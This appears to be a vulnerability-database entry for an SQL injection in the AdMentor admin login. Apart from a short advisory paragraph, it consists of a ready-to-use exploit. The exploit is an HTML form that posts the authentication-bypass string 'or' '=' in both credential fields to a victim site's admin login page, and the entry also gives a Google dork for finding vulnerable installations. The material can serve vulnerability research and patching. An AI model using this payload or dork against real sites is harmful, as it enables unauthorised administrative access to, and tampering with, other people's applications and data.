AdMentor Admin Login SQL Injection Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType
AdMentor Admin Login SQL Injection Vulnerabilit

                                                source: http://www.securityfocus.com/bid/22281/info

AdMentor is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. 

&#60;html&#62;&#60;title&#62;AdMentor Script Remote SQL injection Exploit&#60;/title&#62; =============================================================================================== &#60;p&#62;&#60;b&#62;&#60;font size=&#34;2&#34;&#62;[Script Name: &#60;font color=&#34;#0000FF&#34;&#62;AdMentor admin SQL injection &#60;/font&#62;&#60;/font&#62;&#60;/b&#62;&#60;/p&#62; &#60;p&#62;&#60;b&#62;&#60;font size=&#34;2&#34;&#62;[Coded by : &#60;font color=&#34;#FF0000&#34;&#62;Cr@zy_King &#60;/font&#62;&#60;/font&#62;&#60;/b&#62;&#60;/p&#62; &#60;p&#62;&#60;b&#62;&#60;font size=&#34;2&#34;&#62;[Author : &#60;font color=&#34;#FF0000&#34;&#62;Cr@zy_King &#60;/font&#62;&#60;/font&#62;&#60;/b&#62;&#60;/p&#62; &#60;p&#62;&#60;b&#62;&#60;font size=&#34;2&#34;&#62;[Contact : &#60;font color=&#34;#FF0000&#34;&#62;[email protected] &#60;/font&#62;&#60;/font&#62;&#60;/b&#62;&#60;/p&#62; &#60;p&#62;&#60;b&#62;&#60;font size=&#34;2&#34;&#62;[Dork : &#60;font color=&#34;#0000FF&#34;&#62;inurl:&#34;admentor/admin&#34; &#60;/font&#62;&#60;/font&#62;&#60;/b&#62;&#60;/p&#62; &#60;p&#62;&#60;b&#62;&#60;font size=&#34;2&#34;&#62;[Dork Ex. : &#60;font color=&#34;#0000FF&#34;&#62;http://www.google.com.tr/search?hl=tr&q=inurl%3A%22admentor%2Fadmin%22&btnG=Google%27da+Ara&meta= &#60;/font&#62;&#60;/font&#62;&#60;/b&#62;&#60;/p&#62; &#60;p&#62;&#60;b&#62;&#60;font size=&#34;2&#34;&#62;[S.Page : &#60;font color=&#34;#0000FF&#34;&#62;http://www.aspcode.net/products/admentor &#60;/font&#62;&#60;/font&#62;&#60;/b&#62;&#60;/p&#62; &#60;p&#62;&#60;b&#62;&#60;font size=&#34;2&#34;&#62;[Thanks : &#60;font color=&#34;#008000&#34;&#62;Erne & ApAci & Eno7 & Uyuss & Liz0zim & Thehacker & Xoron & Ajann&#60;/font&#62;&#60;/font&#62;&#60;/b&#62; =============================================================================================== &#60;/p&#62; &#60;FORM NAME=giris ACTION=&#34;http://victim.com/[path to script]/admin/login.asp&#34; METHOD=post&#62; &#60;table align=center&#62; &#60;td&#62;Kullanici Adi:&#60;/td&#62;&#60;td&#62;&#60;INPUT NAME=kullanici class=&#34;input&#34; value=&#34;&#39;or&#39; &#39;=&#39;&#34; SIZE=15&#62;&#60;/td&#62; &#60;/tr&#62;&#60;tr&#62; &#60;td&#62;Sifre:&#60;/td&#62;&#60;td&#62;&#60;INPUT NAME=parola TYPE=text class=&#34;input&#34; value=&#34;&#39;or&#39; &#39;=&#39;&#34; SIZE=15&#62;&#60;/td&#62; &#60;/tr&#62;&#60;tr&#62; &#60;td align=center colspan=2&#62;&#60;BUTTON class=&#34;input&#34; TYPE=submit&#62;Giris&#60;/BUTTON&#62;&#60;/td&#62; &#60;b&#62;&#60;font face=&#34;Verdana&#34; size=&#34;2&#34; color=&#34;#008000&#34;&#62;Exploit Coded By Cr@zy_King&#60;/font&#62;&#60;/b&#62;&#60;/p&#62; &#60;/tr&#62;&#60;/table&#62;&#60;/form&#62;&#60;/html&#62;
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1